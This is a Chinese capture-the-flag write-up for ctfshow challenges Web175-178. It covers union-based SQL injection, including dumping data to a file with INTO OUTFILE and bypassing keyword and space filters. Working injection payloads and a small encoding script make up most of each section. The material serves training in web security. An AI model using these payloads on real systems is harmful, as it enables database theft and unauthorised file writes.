ctfshow(175->178)--SQL注入--联合注入及其过滤

Web175

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

preg_match函数过滤了所有ASCII码中的符号。

相当于禁止查询任何内容。

思路/EXP:

在linux中,/var/www/html/是网站默认的文件存放位置,我们将查询内容写入文件之后读取。

使用into outfile "[文件路径]"将数据写入我们创建的文件。

php 复制代码
1' order by 2--+ //查出字段数为2

-1' union select 1,database() into outfile '/var/www/html/1.txt'--+
//爆库,查看1.txt得到库名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' into outfile '/var/www/html/2.txt'--+
//爆表,查看2.txt得到表名
//1.txt被创建并写入内容后,不能使用into outfile再向其中写入内容了,所以创建并写入2.txt

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' into outfile '/var/www/html/3.txt'--+
//爆字段

-1' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt'--+
//爆数据

得到flag.

Web176

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路/EXP:

不再是对查询的内容进行过滤,而是对我们传入的参数进行了过滤。

但是不知道过滤的内容是什么。

先按照联合注入的流程进行查询,在查询的过程再判断过滤了什么:

php 复制代码
1' order by 3--+ //字段数为3

-1' union select 1,2,3--+
//报错,将union和select分别进行大小写混写,发现是过滤了select
-1' union sElect 1,2,3--+
-1' union sElect 1,2,database()--+
-1' union sElect 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
-1' union sElect 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
-1' union sElect 1,2,group_concat(username,password) from ctfshow_user--+

得到flag.

或者输入1' or 1=1--+,得到数据表全部数据。

Web177

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路:

依旧联合注入,在注入过程中判断被过滤的字符。

发现空格被过滤,将空格替换为/**/绕过。

注释--+也被过滤,替换为%23绕过。

php 复制代码
1'/**/order/**/by/**/3%23 //%23是#的URL编码,也是sql语句的注释符号
-1'/**/union/**/select/**/1,2,database()%23 //爆库
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23 //爆表
-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23 //爆字段
-1'/**/union/**/select/**/1,2,group_concat(username,password)/**/from/**/ctfshow_user%23 //爆数据

得到flag.

Web178

进入页面:

审计:

与上一题相同。

思路:

依旧边注入边分析过滤的内容。

依旧是过滤了空格,但是也过滤了/**/+,导致我们不能用这两个符号来绕过空格。

使用脚本,测试所以可以绕过空格的符号:

python 复制代码
order = "1' order by 1%23"
#绕过对空格的过滤
#空格替换:%09 %0a %0d %0c /**/ +
spaces = ["%09","%0a","%0d","%0c","/**/","+"]
for space in spaces:
    string = order.replace(" ",space)
    print(string)

发现除了/**/+,其他符号都有效。

php 复制代码
1'%09order%09by%093%23 //字段数为3
-1'%09union%09select%091,2,database()%23 //爆库名
-1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23 //爆表名
-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23 //爆字段
-1'%09union%09select%091,2,group_concat(username,password)%09from%09ctfshow_user%23 //爆数据

得到flag.

相关推荐
白帽黑客沐瑶2 天前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
鸿乃江边鸟3 天前
向量化和列式存储
大数据·sql·向量化
lubiii_3 天前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
懒虫虫~3 天前
通过内存去重替换SQL中distinct,优化SQL查询效率
java·sql·慢sql治理
逛逛GitHub3 天前
1 个神级智能问数工具,刚开源就 1500 Star 了。
sql·github
Huhbbjs3 天前
SQL 核心概念与实践总结
开发语言·数据库·sql
咋吃都不胖lyh3 天前
SQL-字符串函数、数值函数、日期函数
sql
sensenlin913 天前
Mybatis中SQL全大写或全小写影响执行性能吗
数据库·sql·mybatis
xqlily3 天前
SQL 数据库简介
数据库·sql